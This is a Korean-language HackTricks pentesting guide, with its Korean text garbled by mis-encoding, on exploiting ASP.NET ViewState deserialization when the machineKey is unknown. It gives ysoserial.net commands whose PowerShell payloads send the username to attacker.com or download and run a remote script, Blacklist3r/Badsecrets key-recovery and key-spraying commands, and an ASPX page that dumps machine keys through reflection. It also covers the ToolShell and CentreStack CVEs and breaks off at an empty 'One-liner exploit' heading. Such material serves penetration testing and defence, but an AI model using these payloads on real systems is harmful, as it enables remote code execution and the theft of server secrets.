__VIEWSTATE ๋น๋ฐ์ ๋ชจ๋ฅด๋ ์ํ์์ ์ ์ฉํ๊ธฐ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
ViewState๋ ๋ฌด์์ธ๊ฐ
ViewState๋ ASP.NET์์ ํ์ด์ง์ ์ปจํธ๋กค ๋ฐ์ดํฐ๋ฅผ ์น ํ์ด์ง ๊ฐ์ ์ ์งํ๋ ๊ธฐ๋ณธ ๋ฉ์ปค๋์ฆ์ ๋๋ค. ํ์ด์ง์ HTML์ ๋ ๋๋งํ๋ ๋์, ํ์ฌ ํ์ด์ง ์ํ์ postback ์ ๋ณด์กดํด์ผ ํ ๊ฐ๋ค์ด ์ง๋ ฌํ๋์ด base64๋ก ์ธ์ฝ๋ฉ๋ ๋ฌธ์์ด๋ก ๋ณํ๋ฉ๋๋ค. ์ด ๋ฌธ์์ด๋ค์ ์จ๊ฒจ์ง ViewState ํ๋์ ์ ์ฅ๋ฉ๋๋ค.
ViewState ์ ๋ณด๋ ๋ค์ ์์ฑ ๋๋ ์ด๋ค์ ์กฐํฉ์ผ๋ก ๊ตฌ๋ถํ ์ ์์ต๋๋ค:
- Base64:
EnableViewStateMac๋ฐViewStateEncryptionMode์์ฑ์ด ๋ชจ๋ false๋ก ์ค์ ๋ ๊ฒฝ์ฐ ์ฌ์ฉ๋๋ ํ์์ ๋๋ค.
- Base64 + MAC (๋ฉ์์ง ์ธ์ฆ ์ฝ๋) ํ์ฑํ:
- MAC ํ์ฑํ๋
EnableViewStateMac์์ฑ์ true๋ก ์ค์ ํ์ฌ ์ด๋ฃจ์ด์ง๋๋ค. ์ด๋ ViewState ๋ฐ์ดํฐ์ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฆ์ ์ ๊ณตํฉ๋๋ค.
- MAC ํ์ฑํ๋
- Base64 + ์ํธํ:
ViewStateEncryptionMode์์ฑ์ด true๋ก ์ค์ ๋๋ฉด ์ํธํ๊ฐ ์ ์ฉ๋์ด ViewState ๋ฐ์ดํฐ์ ๊ธฐ๋ฐ์ฑ์ด ๋ณด์ฅ๋ฉ๋๋ค.
ํ ์คํธ ์ผ์ด์ค
์ด๋ฏธ์ง๋ .NET ํ๋ ์์ํฌ ๋ฒ์ ์ ๋ฐ๋ผ ASP.NET์์ ViewState์ ๋ํ ๋ค์ํ ๊ตฌ์ฑ๋ค์ ์์ธํ ๋ณด์ฌ์ฃผ๋ ํ์ ๋๋ค. ๋ด์ฉ ์์ฝ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- any version of .NET์ ๊ฒฝ์ฐ, MAC๊ณผ Encryption์ด ๋ชจ๋ ๋นํ์ฑํ๋์ด ์์ผ๋ฉด MachineKey๊ฐ ํ์ํ์ง ์์ผ๋ฏ๋ก ์ด๋ฅผ ์๋ณํ ๋ฐฉ๋ฒ์ด ์ ์ฉ๋์ง ์์ต๋๋ค.
- versions below 4.5์์๋ MAC์ด ํ์ฑํ๋์ด ์๊ณ Encryption์ด ๋นํ์ฑํ๋ ๊ฒฝ์ฐ MachineKey๊ฐ ํ์ํฉ๋๋ค. MachineKey๋ฅผ ์๋ณํ๋ ๋ฐฉ๋ฒ์ โBlacklist3rโ๋ก ์ธ๊ธ๋์ด ์์ต๋๋ค.
- versions below 4.5์์๋ MAC ํ์ฑํ ์ฌ๋ถ์ ์๊ด์์ด Encryption์ด ํ์ฑํ๋ ๊ฒฝ์ฐ MachineKey๊ฐ ํ์ํฉ๋๋ค. MachineKey ์๋ณ์ โBlacklist3r - Future Developmentโ ๊ณผ์ ๋ก ํ๊ธฐ๋์ด ์์ต๋๋ค.
- versions 4.5 and above์์๋ MAC๊ณผ Encryption์ ๋ชจ๋ ์กฐํฉ(๋ ๋ค true์ด๊ฑฐ๋, ํ๋๋ง true์ธ ๊ฒฝ์ฐ ๋ฑ)์ ๋ํด MachineKey๊ฐ ํ์ํฉ๋๋ค. MachineKey๋ โBlacklist3rโ์ ์ฌ์ฉํด ์๋ณํ ์ ์์ต๋๋ค.
ํ ์คํธ ์ผ์ด์ค: 1 โ EnableViewStateMac=false and viewStateEncryptionMode=false
AspNetEnforceViewStateMac ๋ ์ง์คํธ๋ฆฌ ํค๋ฅผ ๋ค์ ์์น์ 0์ผ๋ก ์ค์ ํ๋ฉด ViewStateMAC์ ์์ ํ ๋นํ์ฑํํ ์๋ ์์ต๋๋ค:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
ViewState ์์ฑ ์๋ณ
์ด ๋งค๊ฐ๋ณ์๋ฅผ ํฌํจํ ์์ฒญ์ BurpSuite๋ก ์บก์ฒํ์ฌ ViewState๊ฐ MAC์ผ๋ก ๋ณดํธ๋๋์ง ํ์ธํ ์ ์์ต๋๋ค. MAC์ด ๋งค๊ฐ๋ณ์ ๋ณดํธ์ ์ฌ์ฉ๋์ง ์์๋ค๋ฉด YSoSerial.Net์ ์ฌ์ฉํ์ฌ ์ ์ฉํ ์ ์์ต๋๋ค.
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test case 1.5 โ Test case 1๊ณผ ์ ์ฌํ์ง๋ง ViewState cookie๊ฐ ์๋ฒ์์ ์ ์ก๋์ง ์๋ ๊ฒฝ์ฐ
๊ฐ๋ฐ์๋ ViewState๋ฅผ ์ ๊ฑฐํ์ฌ HTTP Request์ ์ผ๋ถ๊ฐ ๋์ง ์๋๋ก ํ ์ ์์ต๋๋ค (์ฌ์ฉ์๋ ์ด cookie๋ฅผ ๋ฐ์ง ์์ต๋๋ค).
์ผ๋ถ๋ ViewState๊ฐ ์กด์ฌํ์ง ์๋ ๊ฒฝ์ฐ, ViewState ์ญ์ง๋ ฌํ์์ ๋ฐ์ํ ์ ์๋ ์ ์ฌ์ ์ทจ์ฝ์ ์ผ๋ก๋ถํฐ ๊ตฌํ์ด ์์ ํ๋ค๊ณ ๊ฐ์ ํ ์ ์์ต๋๋ค.
ํ์ง๋ง ๊ทธ๋ ์ง ์์ต๋๋ค. ์์ฒญ ๋ณธ๋ฌธ์ ViewState parameter๋ฅผ ์ถ๊ฐํ๊ณ ysoserial๋ก ์์ฑํ ์ง๋ ฌํ๋ payload๋ฅผ ๋ณด๋ด๋ฉด, Case 1์์ ๋ณด์ธ ๊ฒ์ฒ๋ผ ์ฌ์ ํ code execution์ ๋ฌ์ฑํ ์ ์์ต๋๋ค.
Test Case: 2 โ .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
ํน์ ํ์ด์ง์ ๋ํด ViewState MAC๋ฅผ ํ์ฑํํ๋ ค๋ฉด ํน์ aspx ํ์ผ์์ ๋ค์ ๋ณ๊ฒฝ์ ํด์ผ ํฉ๋๋ค:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
์ ํ๋ฆฌ์ผ์ด์ ์ ์ฒด์ ๋ํด์๋ ๋ค์๊ณผ ๊ฐ์ด web.config ํ์ผ์ ์ค์ ํ์ฌ ์ํํ ์ ์์ต๋๋ค:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
์ด๋ฒ์๋ ํ๋ผ๋ฏธํฐ๊ฐ MAC์ผ๋ก ๋ณดํธ๋์ด ์์ผ๋ฏ๋ก ๊ณต๊ฒฉ์ ์ฑ๊ณต์ ์ผ๋ก ์คํํ๋ ค๋ฉด ๋จผ์ ์ฌ์ฉ๋ ํค๊ฐ ํ์ํฉ๋๋ค.
์ฌ์ฉ๋ ํค๋ฅผ ์ฐพ๊ธฐ ์ํด Blacklist3r(AspDotNetWrapper.exe) ๋ฅผ ์ฌ์ฉํด ๋ณผ ์ ์์ต๋๋ค.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets๋ ์๋ ค์ง machineKeys๋ฅผ ์๋ณํ ์ ์๋ ๋ ๋ค๋ฅธ ๋๊ตฌ์ ๋๋ค. ์ด๋ Python์ผ๋ก ์์ฑ๋์ด ์์ด Blacklist3r์ ๋ฌ๋ฆฌ Windows ์ข ์์ฑ์ด ์์ต๋๋ค. .NET viewstates์ ๊ฒฝ์ฐ โpython blacklist3rโ ์ ํธ๋ฆฌํฐ๊ฐ ์์ผ๋ฉฐ, ์ด๊ฒ์ด ์ฌ์ฉํ๊ธฐ์ ๊ฐ์ฅ ๋น ๋ฅธ ๋ฐฉ๋ฒ์ ๋๋ค.
viewstate์ generator๋ฅผ ์ง์ ์ ๊ณตํ ์๋ ์์ต๋๋ค:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

๋๋ ๋์ URL์ ์ง์ ์ฐ๊ฒฐํ์ฌ HTML์์ viewstate๋ฅผ ์ถ์ถํด ๋ณด๋ ค๊ณ ์๋ํ ์ ์์ต๋๋ค:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

๋๊ท๋ชจ๋ก ์ทจ์ฝํ viewstates๋ฅผ ์ฐพ๊ธฐ ์ํด, subdomain enumeration๊ณผ ํจ๊ป badsecrets BBOT ๋ชจ๋์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
bbot -f subdomain-enum -m badsecrets -t evil.corp

์ด์ด ์ข๊ฒ ํค๋ฅผ ์ฐพ์ผ๋ฉด YSoSerial.Net: ๋ฅผ ์ฌ์ฉํด ๊ณต๊ฒฉ์ ์งํํ ์ ์์ต๋๋ค.
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
์๋ฒ์์ _VIEWSTATEGENERATOR ํ๋ผ๋ฏธํฐ๊ฐ ์ ์ก๋์ง ์๋ ๊ฒฝ์ฐ --generator ํ๋ผ๋ฏธํฐ๋ฅผ ์ ๊ณตํ ํ์๊ฐ ์์ต๋๋ค, ํ์ง๋ง ๋ค์ ํญ๋ชฉ๋ค:
--apppath="/" --path="/hello.aspx"
๋๊ท๋ชจ๋ก ์ฌํ์ฉ๋ <machineKey> ๊ฐ ์
์ฉ
Ink Dragon (2025)์ ๊ด๋ฆฌ์๊ฐ Microsoft ๋ฌธ์, StackOverflow ๋ต๋ณ ๋๋ ๋ฒค๋ ๋ธ๋ก๊ทธ์ ๊ฒ์๋ ์ํ <machineKey> ๋ธ๋ก์ ๋ณต์ฌํ ๋ ์ผ๋ง๋ ์ํํ์ง๋ฅผ ๋ณด์ฌ์ฃผ์๋ค. ๋จ์ผ ๋์์ด ํด๋น ํค๋ฅผ leaksํ๊ฑฐ๋ ํ ์ ์ฒด์์ ์ฌ์ฌ์ฉํ๋ฉด, ViewState๋ฅผ ์ ๋ขฐํ๋ ๋ค๋ฅธ ๋ชจ๋ ASP.NET ํ์ด์ง๋ ์ถ๊ฐ ์ทจ์ฝ์ ์์ด ์๊ฒฉ์ผ๋ก ํ์ทจ๋ ์ ์๋ค.
- ์ ๋ ฅํ ํ๋ณด ๋จ์ด ๋ชฉ๋ก(candidate wordlist)์ ๊ตฌ์ฑํ๋ leaked
validationKey/decryptionKey์์ ์ฌ์ฉํ๋ค(์: ๊ณต๊ฐ ์ ์ฅ์, Microsoft ๋ธ๋ก๊ทธ ๊ฒ์๋ฌผ ๋๋ ํ์ ํ ํธ์คํธ์์ ๋ณต๊ตฌ๋ ํค๋ฅผ ์คํฌ๋ฉ) ๊ทธ๋ฆฌ๊ณ ์ด๋ฅผ Blacklist3r/Badsecrets์ ๊ณต๊ธํ๋ค:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld
๋๊ตฌ๋ ๊ฐ ํ๋ณด ํค๋ก ์ ์์ ์ธ __VIEWSTATE ๋ธ๋กญ์ ๋ฐ๋ณต์ ์ผ๋ก ์๋ช
ํ์ฌ ์๋ฒ๊ฐ MAC์ ์๋ฝํ ๋๊น์ง ์๋ํ๋ฉฐ, ์ด๋ ํด๋น ํค๊ฐ ์ ํจํจ์ ์ฆ๋ช
ํ๋ค.
2. ํค ์์ ์๊ฒ ๋๋ฉด ์
์ฑ ViewState๋ฅผ ์์กฐํ๋ผ. ์ํธํ๊ฐ ๋นํ์ฑํ๋ ๊ฒฝ์ฐ validationKey๋ง ํ์ํ๋ค. ์ํธํ๊ฐ ํ์ฑํ๋ ๊ฒฝ์ฐ์๋ ์ผ์นํ๋ decryptionKey๋ฅผ ํฌํจ์์ผ ํ์ด๋ก๋๊ฐ decrypt โ deserialize ๊ฒฝ๋ก๋ฅผ ํต๊ณผํ๋๋ก ํด์ผ ํ๋ค:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>
์ด์์๋ค์ ํ์ด๋ก๋๊ฐ IIS ์์ปค(w3wp.exe)๋ก ์คํ๋๊ธฐ ๋๋ฌธ์ ์ข
์ข
PrintNotifyPotato, ShadowPad ๋ก๋ ๋ฑ๊ณผ ๊ฐ์ ๋์คํฌ ์์ ๋ฐ์ฒ๋ฅผ ํ์ด๋ก๋์ ์ง์ ํฌํจ์ํจ๋ค.
3. ๋์ผํ <machineKey>๋ฅผ ํ์ SharePoint/IIS ๋
ธ๋์ ์ฌ์ฌ์ฉํ์ฌ ์ธก๋ฉด ์ด๋ํ๋ผ. ํ ์๋ฒ๊ฐ ์นจํด๋๋ฉด ๊ตฌ์ฑ(๋๋ ํค)์ ํ์ ์ํจ ์ ์ด ์๋ ๋ค๋ฅธ ๋ชจ๋ ์๋ฒ์ ๊ทธ ํค๋ฅผ ์ฌ์ฌ์ฉํ์ฌ ์ ๊ทผํ ์ ์๋ค.
Test Case: 3 โ .Net < 4.5 ๋ฐ EnableViewStateMac=true/false ๋ฐ ViewStateEncryptionMode=true
์ฌ๊ธฐ์๋ ํด๋น ํ๋ผ๋ฏธํฐ๊ฐ MAC์ผ๋ก ๋ณดํธ๋๋์ง ์ ์ ์๋ค. ์ด ๊ฒฝ์ฐ ๊ฐ์ ์๋ง ์ํธํ๋์ด ์์ผ๋ฉฐ ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ค๋ฉด ํ์ด๋ก๋๋ฅผ ์ํธํํ๊ธฐ ์ํด Machine Key๊ฐ ํ์ํ๋ค.
In this case the Blacklist3r module is under developmentโฆ
Prior to .NET 4.5, ASP.NET์ **ViewState**๊ฐ _Always_๋ก ์ค์ ๋์ด ์๋๋ผ๋ ์ฌ์ฉ์๋ก๋ถํฐ์ ์ํธํ๋์ง ์์(unencrypted) ___VIEWSTATE_ ํ๋ผ๋ฏธํฐ๋ฅผ ์๋ฝํ ์ ์๋ค. ASP.NET์ ์์ฒญ์์ __VIEWSTATEENCRYPTED ํ๋ผ๋ฏธํฐ์ **์กด์ฌ(presence)**๋ง ํ์ธํ๋ค. ์ด ํ๋ผ๋ฏธํฐ๋ฅผ ์ ๊ฑฐํ๊ณ ์ํธํ๋์ง ์์ ํ์ด๋ก๋๋ฅผ ์ ์กํ๋ฉด, ์ฌ์ ํ ์ฒ๋ฆฌ๋๋ค.
๋ฐ๋ผ์ ๊ณต๊ฒฉ์๊ฐ file traversal ๊ฐ์ ๋ค๋ฅธ vuln์ ํตํด Machinekey๋ฅผ ํ๋ํ ์ ์๋ค๋ฉด, Case 2์์ ์ฌ์ฉ๋ YSoSerial.Net ๋ช ๋ น์ ์ฌ์ฉํ์ฌ ViewState deserialization ์ทจ์ฝ์ ์ ํตํด RCE๋ฅผ ์ํํ ์ ์๋ค.
- ViewState deserialization ์ทจ์ฝ์ ์ ์
์ฉํ๋ ค๋ฉด ์์ฒญ์์
__VIEWSTATEENCRYPTEDํ๋ผ๋ฏธํฐ๋ฅผ ์ ๊ฑฐํ๋ผ. ๊ทธ๋ ์ง ์์ผ๋ฉด ViewState MAC ๊ฒ์ฆ ์ค๋ฅ๋ฅผ ๋ฐํํ์ฌ ์ต์คํ๋ก์์ด ์คํจํ๋ค.
Test Case: 4 โ .Net >= 4.5 ๋ฐ EnableViewStateMac=true/false ๋ฐ ViewStateEncryptionMode=true/false (๋จ, ๋ ์์ฑ์ด ๋ชจ๋ false์ธ ๊ฒฝ์ฐ๋ ์ ์ธ)
์๋์ ๊ฐ์ด web.config ํ์ผ ๋ด๋ถ์ ๋ค์ ํ๋ผ๋ฏธํฐ๋ฅผ ์ง์ ํ์ฌ ASP.NET ํ๋ ์์ํฌ์ ์ฌ์ฉ์ ๊ฐ์ ํ ์ ์๋ค.
<httpRuntime targetFramework="4.5" />
๋๋ web.config ํ์ผ์ machineKey ๋งค๊ฐ๋ณ์ ์์ ์๋ ์ต์
์ ์ง์ ํ์ฌ ์ํํ ์ ์์ต๋๋ค.
compatibilityMode="Framework45"
์์ ๊ฒฝ์ฐ์ ๋ง์ฐฌ๊ฐ์ง๋ก ๊ฐ์ ์ํธํ๋์ด ์์ต๋๋ค. ๋ฐ๋ผ์ ๊ณต๊ฒฉ์๊ฐ ์ ํจํ payload๋ฅผ ์ ์กํ๋ ค๋ฉด ํค๊ฐ ํ์ํฉ๋๋ค.
์ฌ์ฉ ์ค์ธ ํค๋ฅผ ์ฐพ๊ธฐ ์ํด Blacklist3r(AspDotNetWrapper.exe) ์ ์ฌ์ฉํด ๋ณผ ์ ์์ต๋๋ค:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
๋ ์์ธํ ์ค๋ช ์ IISDirPath์ TargetPagePath์ ๋ํด์๋ refer here
๋๋, Badsecrets (generator ๊ฐ์ ์ฌ์ฉ):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

์ ํจํ Machine key๊ฐ ํ์ธ๋๋ฉด, ๋ค์ ๋จ๊ณ๋ ์ง๋ ฌํ๋ ํ์ด๋ก๋๋ฅผ ์์ฑํ๋ ๊ฒ์ ๋๋ค YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
__VIEWSTATEGENERATOR ๊ฐ์ ์๊ณ ์๋ค๋ฉด ํด๋น ๊ฐ์ ์ฌ์ฉํ์ฌ --generator ํ๋ผ๋ฏธํฐ๋ฅผ ์ฌ์ฉํ๊ณ --path ๋ฐ --apppath ํ๋ผ๋ฏธํฐ๋ฅผ ์๋ตํด ๋ณผ ์ ์์ต๋๋ค.

ViewState deserialization ์ทจ์ฝ์ ์ ์ฑ๊ณต์ ์ผ๋ก ์ ์ฉํ๋ฉด ๊ณต๊ฒฉ์ ์ ์ด ์๋ฒ๋ก ์ฌ์ฉ์ ์ด๋ฆ์ ํฌํจํ out-of-band ์์ฒญ์ด ์ ์ก๋ฉ๋๋ค. ์ด๋ฌํ ์ ํ์ ์ต์คํ๋ก์์ โExploiting ViewState Deserialization using Blacklist3r and YsoSerial.NETโ๋ผ๋ ์๋ฃ์์ ์์ฐ๋๋ proof of concept (PoC)์ผ๋ก ์ค๋ช ๋์ด ์์ต๋๋ค. ์ต์คํ๋ก์ ๊ณผ์ ์ ๋์ ๋ฐฉ์๊ณผ MachineKey ์๋ณ์ ์ํด Blacklist3r ๊ฐ์ ๋๊ตฌ์ ์ฌ์ฉ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์ ์ ๊ณต๋ PoC of Successful Exploitation๋ฅผ ์ฐธ์กฐํ์ธ์.
Test Case 6 โ ViewStateUserKeys is being used
ViewStateUserKey ์์ฑ์ CSRF attack์ ๋ํด ๋ฐฉ์ดํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ ํ๋ฆฌ์ผ์ด์
์ ํด๋น ํค๊ฐ ์ ์๋์ด ์๊ณ ์ง๊ธ๊น์ง ๋
ผ์ํ ๋ฐฉ๋ฒ์ผ๋ก ViewState payload๋ฅผ ์์ฑํ๋ ค๊ณ ํ๋ฉด, payload๋ ์ ํ๋ฆฌ์ผ์ด์
์์ ์ฒ๋ฆฌ๋์ง ์์ต๋๋ค.
์ฌ๋ฐ๋ฅด๊ฒ payload๋ฅผ ์์ฑํ๋ ค๋ฉด ํ๋์ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ ์ฌ์ฉํด์ผ ํฉ๋๋ค:
--viewstateuserkey="randomstringdefinedintheserver"
์ฑ๊ณต์ ์ธ ์ต์คํ๋ก์์ ๊ฒฐ๊ณผ
๋ชจ๋ ํ ์คํธ ์ผ์ด์ค์์ ViewState YSoSerial.Net payload๊ฐ ์ฑ๊ณต์ ์ผ๋ก ๋์ํ๋ฉด ์๋ฒ๋ โ500 Internal server errorโ๋ฅผ ์๋ตํ๊ณ ์๋ต ๋ด์ฉ์ผ๋ก โThe state information is invalid for this page and might be corruptedโ๋ฅผ ๋ฐํํ๋ฉฐ OOB request๋ฅผ ๋ฐ๊ฒ ๋ฉ๋๋ค.
์์ธํ ์ ๋ณด๋ ์ฌ๊ธฐ๋ฅผ ํ์ธํ์ธ์
๋ฆฌํ๋ ์ ์ ํตํ ASP.NET Machine Keys ๋คํ (SharPyShell/SharePoint ToolShell)
ํ๊น ์น ๋ฃจํธ ๋ด์ ์์์ ASPX ์ฝ๋๋ฅผ ์
๋ก๋ํ๊ฑฐ๋ ์คํํ ์ ์๋ ๊ณต๊ฒฉ์๋ bruteforcing ํ๋ ๋์ __VIEWSTATE๋ฅผ ๋ณดํธํ๋ ๋น๋ฐ ํค๋ฅผ ์ง์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค.
ํค๋ฅผ leaksํ๋ ์ต์ํ์ payload๋ ๋ฆฌํ๋ ์
์ ํตํด ๋ด๋ถ .NET ํด๋์ค๋ฅผ ํ์ฉํฉ๋๋ค:
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
ํ์ด์ง๋ฅผ ์์ฒญํ๋ฉด ValidationKey, DecryptionKey, ์ํธํ ์๊ณ ๋ฆฌ์ฆ๊ณผ ASP.NET ํธํ ๋ชจ๋๊ฐ ์ถ๋ ฅ๋ฉ๋๋ค. ์ด ๊ฐ๋ค์ ์ด์ ysoserial.net์ ๋ฐ๋ก ์
๋ ฅ๋์ด ์ ํจํ ์๋ช
๋ __VIEWSTATE ๊ฐ์ ฏ์ ์์ฑํ ์ ์์ต๋๋ค:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
์ด key-exfiltration primitive๋ 2025๋ ์ on-prem SharePoint ์๋ฒ๋ค์ ๋์์ผ๋ก ๋๊ท๋ชจ๋ก ์ ์ฉ๋์์ง๋ง(โToolShellโ โ CVE-2025-53770/53771), ๊ณต๊ฒฉ์๊ฐ ์๋ฒ ์ธก ์ฝ๋๋ฅผ ์คํํ ์ ์๋ ๋ชจ๋ ASP.NET ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ์ฉ๋ ์ ์๋ค.
2024-2025 ์ค์ ์ ์ฉ ์๋๋ฆฌ์ค ๋ฐ ํ๋์ฝ๋ฉ๋ Machine Keys
Microsoft โpublicly disclosed machine keysโ wave (Dec 2024 โ Feb 2025)
Microsoft Threat Intelligence๋ machineKey๊ฐ previously leaked on public sources (GitHub gists, blog posts, paste sites) ๋์ด ์๋ ASP.NET ์ฌ์ดํธ๋ค์ด ๋๊ท๋ชจ๋ก ์
์ฉ๋์๋ค๊ณ ๋ณด๊ณ ํ๋ค. ๊ณต๊ฒฉ์๋ค์ ์ด ํค๋ค์ ์ด๊ฑฐํ์ฌ ์ ํจํ __VIEWSTATE gadgets๋ฅผ ์ต์ ysoserial.net 1.41์ --minify ๋ฐ --islegacy ํ๋๊ทธ๋ก ์์ฑํด WAF ๊ธธ์ด ์ ํ์ ํํผํ๋ค:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
์๋ฒ ํ ์ ๋ฐ์์ ๋์ผํ ์ ์ ํค๋ฅผ ๊ณ์ ์ฌ์ฌ์ฉํ๋ ๋์์ ๋ฌด๊ธฐํ์ผ๋ก ์ทจ์ฝ ์ํ๋ฅผ ์ ์งํฉ๋๋ค; ์ผ๋จ AutoGenerate ๊ฐ์ผ๋ก ์ ํํ๋ฉด spray technique์ด ์๋ํ์ง ์์ผ๋ฏ๋ก, ํ๋์ฝ๋ฉ๋ ์๋ฃ๋ฅผ ์ฌ์ ํ ๋
ธ์ถํ๋ ๋ ๊ฑฐ์ ๋ฐฐํฌ๋ฅผ ์ฐ์ ์ ์ผ๋ก ๊ณต๋ตํ์ธ์.
CVE-2025-30406 โ Gladinet CentreStack / Triofox ํ๋์ฝ๋ฉ๋ ํค
Kudelski Security๋ ์ฌ๋ฌ CentreStack / Triofox ๋ฆด๋ฆฌ์ค๊ฐ ๋์ผํ machineKey ๊ฐ์ ํฌํจํ์ฌ ๋ฐฐํฌ๋์์์ ๋ฐํ๋๊ณ , ์ด๋ ViewState forgery๋ฅผ ํตํด ์ธ์ฆ๋์ง ์์ ์๊ฒฉ ์ฝ๋ ์คํ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค (CVE-2025-30406).
One-liner exploit:
